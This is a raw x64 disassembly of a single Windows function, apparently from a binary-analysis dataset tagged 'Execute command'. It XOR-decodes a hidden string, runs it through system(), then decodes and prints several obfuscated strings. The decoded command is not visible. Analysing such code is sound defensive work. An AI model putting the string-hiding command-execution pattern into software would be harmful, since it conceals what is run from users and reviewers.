Function at 0x1400025f0
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
mov rbp, rsp
sub rsp, 0x50
mov cl, reloc.WS2_32.dll_send
mov byte [rbp - 0x30], 0x7c
movzx r8d, cl
mov al, Ordinal_32
xor cl, 0x7c
mov dl, reloc.WS2_32.dll_recv
mov r9b, recv
mov byte [rbp - 0x2e], cl
mov r10b, 0x5c
lea rcx, [rbp - 0x2f]
mov r11b, 0x45
xor al, 0x7c
xor dl, 0x7c
mov byte [rbp - 0x2f], al
xor r8b, 0x7c
mov byte [rbp - 0x2d], dl
xor r9b, 0x7c
mov byte [rbp - 0x2c], r8b
xor r10b, 0x7c
mov byte [rbp - 0x2b], r9b
xor r11b, 0x7c
mov byte [rbp - 0x2a], r10b
xor ebx, ebx
mov byte [rbp - 0x29], r11b
mov byte [rbp - 0x28], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm1, xmmword [0x14006ddc0]
mov r8b, reloc.WLDAP32.dll_Ordinal_41
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx r9d, r8b
movd edx, xmm1
movzx r10d, r8b
movdqu xmmword [rbp - 0x20], xmm1
movzx r11d, r8b
mov byte [rbp - 0xa], 0
xor byte [rbp - 0x1e], dl
movzx ebx, r8b
xor byte [rbp - 0x1d], dl
xor r8b, dl
xor byte [rbp - 0x1c], dl
xor r9b, dl
xor byte [rbp - 0x1b], dl
xor r10b, dl
xor byte [rbp - 0x1a], dl
xor r11b, dl
xor byte [rbp - 0x19], dl
xor bl, dl
xor byte [rbp - 0x18], dl
movdqa xmm0, xmm1
xor byte [rbp - 0x17], dl
mov dil, 0x56
xor byte [rbp - 0x16], dl
xor dil, dl
xor byte [rbp - 0x15], dl
xor byte [rbp - 0x14], dl
xor byte [rbp - 0x13], dl
xor byte [rbp - 0x12], dl
xor byte [rbp - 0x11], dl
psrldq xmm0, 1
movd eax, xmm0
mov byte [rbp - 0x10], r8b
mov byte [rbp - 0xf], r9b
xor al, dl
mov byte [rbp - 0xe], r10b
lea rdx, [rbp - 0x1f]
mov byte [rbp - 0x1f], al
mov byte [rbp - 0xd], r11b
mov byte [rbp - 0xc], bl
mov byte [rbp - 0xb], dil
call fcn.140004490
lea rdx, [0x140004680]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movdqa xmm1, xmmword [0x14006dc90]
xor r8b, r8b
xor r9b, r9b
mov r11b, 0x7f
movdqu xmmword [rbp - 0x20], xmm1
xor r10b, r10b
movzx ebx, r11b
mov dil, reloc.WLDAP32.dll_Ordinal_35
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmm1
movd edx, xmm1
psrldq xmm0, 1
movd eax, xmm0
xor byte [rbp - 0x1e], dl
xor r8b, dl
xor byte [rbp - 0x1d], dl
xor r9b, dl
xor byte [rbp - 0x1c], dl
xor al, dl
xor byte [rbp - 0x1b], dl
xor r10b, dl
xor byte [rbp - 0x1a], dl
xor r11b, dl
xor byte [rbp - 0x19], dl
xor bl, dl
xor byte [rbp - 0x18], dl
xor dil, dl
xor byte [rbp - 0x17], dl
xor byte [rbp - 0x16], dl
xor byte [rbp - 0x15], dl
xor byte [rbp - 0x14], dl
xor byte [rbp - 0x13], dl
xor byte [rbp - 0x12], dl
xor byte [rbp - 0x11], dl
lea rdx, [rbp - 0x1f]
mov byte [rbp - 0x1f], al
mov byte [rbp - 0x10], r8b
mov byte [rbp - 0xf], r9b
mov byte [rbp - 0xe], r10b
mov byte [rbp - 0xd], r11b
mov byte [rbp - 0xc], bl
mov byte [rbp - 0xb], dil
mov byte [rbp - 0xa], 0
call fcn.140004490
lea rdx, [0x140004680]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movdqa xmm1, xmmword [0x14006de30]
mov r9b, 0x79
movd edx, xmm1
mov r10b, 0x76
movdqu xmmword [rbp - 0x20], xmm1
movzx r11d, r9b
mov byte [rbp - 0xa], 0
xor byte [rbp - 0x1e], dl
xor r11b, dl
xor byte [rbp - 0x1d], dl
movzx ebx, r10b
xor byte [rbp - 0x1c], dl
xor r10b, dl
xor byte [rbp - 0x1b], dl
xor bl, dl
xor byte [rbp - 0x1a], dl
movzx edi, r9b
xor byte [rbp - 0x19], dl
xor r9b, dl
xor byte [rbp - 0x18], dl
movdqa xmm0, xmm1
xor byte [rbp - 0x17], dl
mov r8b, 0x25
xor byte [rbp - 0x16], dl
xor r8b, dl
xor byte [rbp - 0x15], dl
xor byte [rbp - 0x14], dl
xor byte [rbp - 0x13], dl
xor byte [rbp - 0x12], dl
xor byte [rbp - 0x11], dl
psrldq xmm0, 1
movd eax, xmm0
mov byte [rbp - 0x10], r8b
mov byte [rbp - 0xf], r9b
xor al, dl
mov byte [rbp - 0xe], r10b
xor dil, dl
mov byte [rbp - 0x1f], al
mov byte [rbp - 0xb], dil
lea rdx, [rbp - 0x1f]
mov byte [rbp - 0xd], r11b
mov byte [rbp - 0xc], bl
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004490
lea rdx, [0x140004680]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movdqa xmm1, xmmword [0x14006dda0]
mov r10b, 0x4b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov r9b, 0x44
movd edx, xmm1
movzx r11d, r9b
movdqu xmmword [rbp - 0x20], xmm1
movzx ebx, r10b
mov byte [rbp - 0xa], 0
xor byte [rbp - 0x1e], dl
movzx edi, r10b
xor byte [rbp - 0x1d], dl
xor r9b, dl
xor byte [rbp - 0x1c], dl
xor r10b, dl
xor byte [rbp - 0x1b], dl
xor r11b, dl
xor byte [rbp - 0x1a], dl
xor bl, dl
xor byte [rbp - 0x19], dl
xor dil, dl
xor byte [rbp - 0x18], dl
movdqa xmm0, xmm1
xor byte [rbp - 0x17], dl
mov r8b, reloc.WS2_32.dll_socket
xor byte [rbp - 0x16], dl
xor r8b, dl
xor byte [rbp - 0x15], dl
xor byte [rbp - 0x14], dl
xor byte [rbp - 0x13], dl
xor byte [rbp - 0x12], dl
xor byte [rbp - 0x11], dl
psrldq xmm0, 1
movd eax, xmm0
mov byte [rbp - 0x10], r8b
mov byte [rbp - 0xf], r9b
xor al, dl
mov byte [rbp - 0xe], r10b
lea rdx, [rbp - 0x1f]
mov byte [rbp - 0x1f], al
mov byte [rbp - 0xd], r11b
mov byte [rbp - 0xc], bl
mov byte [rbp - 0xb], dil
call fcn.140004490
lea rdx, [0x140004680]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movdqa xmm1, xmmword [0x14006dd30]
mov r8b, reloc.WLDAP32.dll_Ordinal_45
movd edx, xmm1
mov r11b, Ordinal_35
movdqu xmmword [rbp - 0x20], xmm1
movzx r10d, r8b
mov r9b, 0x5d
xor byte [rbp - 0x1e], dl
movdqa xmm0, xmm1
xor byte [rbp - 0x1d], dl
movzx ebx, r11b
xor byte [rbp - 0x1c], dl
movzx edi, r11b
xor byte [rbp - 0x1b], dl
xor byte [rbp - 0x1a], dl
xor byte [rbp - 0x19], dl
xor byte [rbp - 0x18], dl
xor byte [rbp - 0x17], dl
xor byte [rbp - 0x16], dl
xor byte [rbp - 0x15], dl
xor byte [rbp - 0x14], dl
xor byte [rbp - 0x13], dl
xor byte [rbp - 0x12], dl
xor byte [rbp - 0x11], dl
psrldq xmm0, 1
movd eax, xmm0
xor al, dl
mov byte [rbp - 0x1f], al
xor r8b, dl
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xor r9b, dl
xor r10b, dl
mov byte [rbp - 0xf], r9b
xor r11b, dl
mov byte [rbp - 0xe], r10b
xor bl, dl
mov byte [rbp - 0xd], r11b
xor dil, dl
mov byte [rbp - 0xc], bl
lea rdx, [rbp - 0x1f]
mov byte [rbp - 0xb], dil
mov byte [rbp - 0x10], r8b
mov byte [rbp - 0xa], 0
call fcn.140004490
lea rdx, [0x140004680]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor ecx, ecx
mov byte [rbp + 0x10], 0x40
mov al, 0x60
mov byte [rbp + 0x12], cl
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x11]
xor al, 0x40
mov byte [rbp + 0x11], al
call fcn.140004490
lea rdx, [0x140004680]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movdqa xmm1, xmmword [0x14006dd10]
mov cl, 0x34
movd edx, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rbp - 0x20], xmm1
mov r8b, reloc.WLDAP32.dll_Ordinal_35
mov r9b, Ordinal_30
xor cl, dl
psrldq xmm0, 1
xor byte [rbp - 0x1e], dl
xor r8b, dl
xor byte [rbp - 0x1d], dl
xor r9b, dl
xor byte [rbp - 0x1c], dl
mov r10b, 0x3e
xor byte [rbp - 0x1b], dl
xor r10b, dl
xor byte [rbp - 0x1a], dl
mov r11b, 0x3d
xor byte [rbp - 0x19], dl
xor r11b, dl
xor byte [rbp - 0x18], dl
mov bl, 8
xor byte [rbp - 0x17], dl
xor bl, dl
xor byte [rbp - 0x16], dl
mov dil, 5
xor byte [rbp - 0x15], dl
xor dil, dl
xor byte [rbp - 0x14], dl
mov sil, WSAStartup
xor byte [rbp - 0x13], dl
xor sil, dl
xor byte [rbp - 0x12], dl
xor byte [rbp - 0x11], dl
movd eax, xmm0
mov byte [rbp - 0x10], cl
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xor al, dl
mov byte [rbp - 0xf], r8b
lea rdx, [rbp - 0x1f]
mov byte [rbp - 0x1f], al
mov byte [rbp - 0xe], r9b
mov byte [rbp - 0xd], r10b
mov byte [rbp - 0xc], r11b
mov byte [rbp - 0xb], bl
mov byte [rbp - 0xa], dil
mov byte [rbp - 9], sil
mov byte [rbp - 8], 0
call fcn.140004490
mov byte [rbp + 0x10], 0x56
mov cl, 0x5c
lea rdx, [rbp + 0x11]
xor cl, 0x56
xor r8d, r8d
mov byte [rbp + 0x11], cl
mov rcx, rax
mov byte [rbp + 0x12], r8b
call fcn.140004490
lea rdx, [0x140004680]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop rbp
ret